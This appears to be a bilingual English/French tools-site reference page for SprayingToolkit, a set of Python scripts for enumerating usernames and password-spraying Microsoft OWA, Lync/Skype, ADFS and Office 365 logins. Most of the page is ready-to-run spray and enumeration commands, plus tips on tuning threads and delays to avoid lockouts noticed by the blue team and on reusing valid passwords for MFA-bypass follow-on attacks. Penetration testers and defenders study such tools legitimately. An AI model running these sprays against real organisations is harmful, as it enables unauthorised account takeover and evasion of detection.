← retour aux outils back to tools

# SprayingToolkit

Encapsule et accélère les attaques de password spraying contre Microsoft O365, OWA, Lync/Skype for Business et ADFS. Wraps and speeds up password spraying attacks against Microsoft O365, OWA, Lync/Skype for Business, and ADFS.

↗ https://github.com/byt3bl33d3r/SprayingToolkit

## Overview

SprayingToolkit is a set of Python wrappers around common Microsoft-facing authentication endpoints — OWA, Lync/Skype for Business, ADFS, and Office 365 — that automates username enumeration and password spraying against them at scale. It builds on the older `LyncSniper`/`MailSniper`-style techniques but wraps them into faster, threaded scripts (`atomizer.py` for spraying, `lyncsmash.py` for enumeration/recon) with built-in delay/jitter to reduce lockout risk.

## Common Usage

Enumerate valid usernames via Lync/Skype for Business autodiscover

    python lyncsmash.py enumerate <target> userlist.txt

Spray a single password against OWA

    python atomizer.py owa <target> userlist.txt 'Summer2026!' -t 3 -d 30

Spray against Office 365 directly (no on-prem target needed)

    python atomizer.py o365 userlist.txt 'Summer2026!' -t 3

Spray against ADFS

    python atomizer.py adfs <adfs_target> userlist.txt 'Summer2026!'

## Tips

- `-t` (threads) and `-d` (delay between attempts) control spray speed — keep both conservative against on-prem AD, since a lockout here can be very visible to blue team
- Office 365 spraying doesn’t need internal network access at all — it’s often the first thing tried once a valid username list exists
- Cross-reference hits against MFA status; a valid password against an MFA-protected account is still useful for follow-on attacks (device registration abuse, legacy auth endpoints)

Help / Man page

    atomizer.py <module> <target> <userlist> <password> [options]

    Modules: owa | ews | lync | adfs | o365

      target            target hostname/IP (not required for o365 module)
      userlist           file with one username per line
      password            single password to spray

    Options:
      -t THREADS        number of concurrent threads (default: 1)
      -d DELAY           delay in seconds between attempts
      -oJ FILE            write results as JSON

    lyncsmash.py enumerate <target> <userlist>
      performs autodiscover-based username enumeration against Lync/S4B

## Vue d’ensemble

SprayingToolkit est un ensemble de wrappers Python autour des points de terminaison d’authentification Microsoft courants : OWA, Lync/Skype for Business, ADFS et Office 365, qui automatise l’énumération de noms d’utilisateurs et le password spraying à grande échelle contre ceux-ci. Il s’appuie sur les techniques plus anciennes de type `LyncSniper`/`MailSniper`, mais les encapsule dans des scripts plus rapides et threadés (`atomizer.py` pour le spraying, `lyncsmash.py` pour l’énumération/la reconnaissance) avec un délai/jitter intégré pour réduire le risque de verrouillage.

## Utilisation courante

    # Énumérer des noms d'utilisateurs valides via l'autodiscover Lync/Skype for Business
    python lyncsmash.py enumerate <target> userlist.txt

    # Sprayer un seul mot de passe contre OWA
    python atomizer.py owa <target> userlist.txt 'Summer2026!' -t 3 -d 30

    # Sprayer directement contre Office 365 (aucune cible on-prem nécessaire)
    python atomizer.py o365 userlist.txt 'Summer2026!' -t 3

    # Sprayer contre ADFS
    python atomizer.py adfs <adfs_target> userlist.txt 'Summer2026!'

## Conseils

- `-t` (threads) et `-d` (délai entre essais) contrôlent la vitesse du spray : garder les deux conservateurs contre un AD on-prem, car un verrouillage ici peut être très visible pour la blue team
- Le spraying Office 365 ne nécessite aucun accès au réseau interne : c’est souvent la première chose testée une fois qu’une liste de noms d’utilisateurs valides existe
- Croiser les résultats positifs avec le statut MFA ; un mot de passe valide sur un compte protégé par MFA reste utile pour des attaques de suivi (abus d’enregistrement d’appareil, points de terminaison d’authentification legacy)

Aide / Page de manuel

    atomizer.py <module> <target> <userlist> <password> [options]

    Modules: owa | ews | lync | adfs | o365

      target            target hostname/IP (not required for o365 module)
      userlist           file with one username per line
      password            single password to spray

    Options:
      -t THREADS        number of concurrent threads (default: 1)
      -d DELAY           delay in seconds between attempts
      -oJ FILE            write results as JSON

    lyncsmash.py enumerate <target> <userlist>
      performs autodiscover-based username enumeration against Lync/S4B